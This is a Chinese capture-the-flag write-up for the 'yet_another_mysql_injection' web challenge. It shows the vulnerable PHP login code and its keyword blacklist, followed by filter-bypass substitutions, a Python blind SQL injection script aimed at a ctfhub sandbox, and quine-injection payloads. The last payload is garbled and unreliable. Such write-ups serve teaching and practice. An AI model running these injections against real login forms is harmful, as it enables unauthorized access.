2021-第五空间智能安全大赛-Web-yet_another_mysql_injection
- 初始界面
查看源代码发现源码文件 /?source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php include_once("lib.php"); function alertMes($mes,$url){ die("<script>alert('{$mes}');location.href='{$url}';</script>"); }
function checkSql($s) { if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){ alertMes('hacker', 'index.php'); } }
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') { $username=$_POST['username']; $password=$_POST['password']; if ($username !== 'admin') { alertMes('only admin can login', 'index.php'); } checkSql($password); $sql="SELECT password FROM users WHERE username='admin' and password='$password';"; $user_result=mysqli_query($con,$sql); $row = mysqli_fetch_array($user_result); if (!$row) { alertMes("something wrong",'index.php'); } if ($row['password'] === $password) { die($FLAG); } else { alertMes("wrong password",'index.php'); } }
if(isset($_GET['source'])){ show_source(__FILE__); die; } ?>
|
- 源码分析
alertMes($mes, $url)
:该函数接受两个参数,$mes
(要显示的消息)和$url
(显示消息后要重定向的URL)。它使用JavaScript输出一个包含给定消息的警告弹窗,然后将用户重定向到指定的URL。
checkSql($s)
:该函数接受一个参数$s
(一个字符串),并检查其中是否包含任何可疑的SQL关键词或字符,这可能表明试图进行SQL注入攻击。如果发现任何可疑关键词或字符,它将使用alertMes
函数显示警告,并将用户重定向到 “index.php”。
1 2 3 4 5
| function checkSql($s) { if(preg_match("/regexp|between|in|flag| =| >|< |and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){ alertMes('hacker', 'index.php'); } }
|
- 模式分隔符后的”i”标记这是一个大小写不敏感的搜索
1 2 3 4 5
| sleep 可以用benchmark代替 <,> 可以用least(),greatest()代替 =,in 可以用like代替 substr 可以用mid代替 空格 可以用/**/代替
|
- 注入脚本测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import requests import time
char = '01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/*-+?~#!@&%'
def password(): flag = '' url = 'http://challenge-f48e2f483110ea2f.sandbox.ctfhub.com:10800/index.php' while True: for i in char: payload = {"username": "admin", "password": f"1'or/**/password/**/like/**/'{flag + i}%'#" } res = requests.post(url=url, data=payload)
if "something wrong" not in res.text: flag += i print(flag) break if "ctfhub" in res.text: print("game over") break elif "~" in i: print("just ok") return
if __name__ == '__main__': password()
|
运行结果 o2cqmlyo0kpjkdyocm8cfbygzaievxbw just ok
通过用户名 admin
密码 o2cqmlyo0kpjkdyocm8cfbygzaievxbw
登录 还是显示错误
- 通过网上writeup 发现
使用了 quine注入
1.首先先了解一下replace()函数
- replace(object,search,replace)
- 把object对象中出现的的search全部替换成replace
注入的payload:
1 2
| 1'/**/union/**/select/**/ replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"unionselectreplace(replace(".",char(34),char(39)),char(46),".")#')#
|
CHAR(34)=" CHAR(39)=' CHAR(33)=! char(46)=.
quine注入
核心思想:
sql语句执行的结果等于sql语句本身
即利用sql执行的结果等于它本身绕过判断:
$row[‘password’] === $password
1
| 1' union select replace(replace('1" union select replace(replace(".",",') ,., ".")#',", '), ., '1 union select replace(replace(".", ",'), ., ".")#')#
|